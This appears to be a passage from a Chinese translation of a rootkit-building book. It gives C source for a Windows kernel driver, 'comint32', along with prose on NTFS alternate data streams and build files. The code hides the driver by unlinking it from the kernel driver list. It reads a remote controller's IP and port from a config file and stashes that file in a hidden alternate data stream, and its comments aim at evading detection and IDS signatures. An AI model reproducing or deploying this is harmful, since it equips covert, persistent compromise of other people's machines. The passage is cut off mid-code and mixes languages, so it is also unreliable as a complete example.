// Global version data
ULONG majorVersion;
ULONG minorVersion;
// Comment out in free build to avoid detection
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint32: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
// Get the operating system version
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 or Windows 95
// Major = 5: Windows Server 2003, Windows XP or Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 or Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint32: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint32: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint32: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint("comint32: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint32: Running on unknown system");
}
// Hide this driver
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject + 20));
if( driverData != NULL )
{
// unlink this driver entry from the driver list
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// Allow the driver to be unloaded
pDriverObject->DriverUnload = OnUnload;
// Configure the controller connection
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint32: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}
#endif
configManager.c
configManager.c文件从一个文件中读取17个参数。如果rootkit已经执行,文件被隐藏在一个交替数据流里(ADS)。如果rootkit是第一次被安装,文件必须是c:\config32。如果这个文件没有在这些存储单元里,rootkit将放弃执行并安全退出:
// ConfigManager
// Copyright Ric Vieler, 2006
// First try c:\config32
// If it's there, save as MASTER_FILE:config32 and delete c:\config32
// If it's not there, try MASTER_FILE:configFile
// If that doesn't exist, quit!
// Set the controllers IP and port
NTSTATUS Configure()
{
CHAR data[21];
SHORT vis = 0;
SHORT loop;
SHORT dataIndex;
SHORT addressIndex;
ULONG fileSize;
PHANDLE fileHandle;
// Need to know who to connect to
if( NT_SUCCESS( GetFile( L"\\??\\C:\\config32", data, 21, &fileSize ) ) )
{
DbgPrint("comint32: Reading config from visible file.");
vis = 1;
}
else
{
if( NT_SUCCESS( GetFile( L"config32", data, 21, &fileSize ) ) )
{
DbgPrint("comint32: Reading config from hidden file.");
}
else
{
DbgPrint("comint32: Error. Could not find a config file.");
return STATUS_UNSUCCESSFUL;
}
}
// Parse master address and port into aaa.bbb.ccc.ddd:eeeee
dataIndex = 0;
addressIndex = 0;
// First 3 are xxx of xxx.111.111.111:11111
for( loop = 0; loop < 3; loop++ )
masterAddress1[addressIndex++] = data[dataIndex++];
masterAddress1[addressIndex] = 0;
addressIndex = 0; // reset
dataIndex++; // skip the dot
// Next 3 are xxx of 111.xxx.111.111:11111
for( loop = 0; loop < 3; loop++ )
masterAddress2[addressIndex++] = data[dataIndex++];
masterAddress2[addressIndex] = 0;
addressIndex = 0; // reset
dataIndex++; // skip the dot
// Next 3 are xxx of 111.111.xxx.111:11111
for( loop = 0; loop < 3; loop++ )
masterAddress3[addressIndex++] = data[dataIndex++];
masterAddress3[addressIndex] = 0;
addressIndex = 0; // reset
dataIndex++; // skip the dot
// Next 3 are xxx of 111.111.111.xxx:11111
for( loop = 0; loop < 3; loop++ )
masterAddress4[addressIndex++] = data[dataIndex++];
masterAddress4[addressIndex] = 0;
addressIndex = 0; // reset
dataIndex++; // skip the semicolon
// Next 5 are xxxxx of 111.111.111.111:xxxxx (port)
for( loop = 0; loop < 5; loop++ )
masterPort[addressIndex++] = data[dataIndex++];
masterPort[addressIndex] = 0;
DbgPrint( "comint32: Using %s.%s.%s.%s:%s",
masterAddress1,
masterAddress2,
masterAddress3,
masterAddress4,
masterPort);
if( vis == 1 )
{
DbgPrint("comint32: Saving config to hidden file.");
PutFile( L"config32", data, fileSize );
DbgPrint("comint32: You may delete the visible file.");
}
// Copyright Ric Vieler, 2006
// Support header for fileManager.c
#ifndef _FILE_MANAGER_H_
#define _FILE_MANAGER_H_
// Though no documentation mentions it, NTFS-ADS works with directories too!
// Each implementation should use a different known directory
// to avoid having the full pathname added to IDS's.
#define MASTER_FILE L"\\??\\C:\\WINDOWS\\Resources"
// fileManager
// Copyright Ric Vieler, 2006
// Use without path to get/put Alternate Data Streams from/to MASTER_FILE
// Use with full path to get/put regular files from/to the visible file system
GetFile主要由三个函数组成:ZwOpenFile, ZwReadFile,和ZwClose。PutFile主要由ZwCreateFile, ZwWriteFile,和ZwClose组成。唯一值得注意的变化是 The only notable change is that the filename is appended to the directory name with a colon separator. 这就是ADS的语法。你可以在DOS命令提示符下自行测试。创建一个只有一行文本的文件,命令为test.txt并保存,注意它的文件大小。选择使用命令“echo xxx > test.txt:alternate.txt”向test.txt中添加交替数据流。现在你可以使用命令“notepad test.txt:alternate.txt”来查看这个交替数据流的内容XXX,但是目录列表中只显示test.txt,并且文件的大小并没有包含刚才增加的交替数据流。
下面写出这个例子源代码,但是还需要两个文件。每个驱动开发包编译驱动程序都需要一个SOURCES文件和一个MAKEFILE文件。这些文件是开发工具所需要的用来确定怎样去编译一个驱动程序的,它通常包括被编译产品的名称和编译所需的文件列表。像我们前面说的,目标文件的名称是comint32相关文件就是前面详细描述过的。因此我们在这本书中将增加SOURCES文件,MAKEFILE文件将保持不变。
下面是SOURCES文件的内容:
#
# DO NOT EDIT THIS FILE!!! Edit .\sources. if you want to add a new source
# file to this component. This file merely indirects to the real make file
# that is shared by all the driver components of the Windows NT DDK
#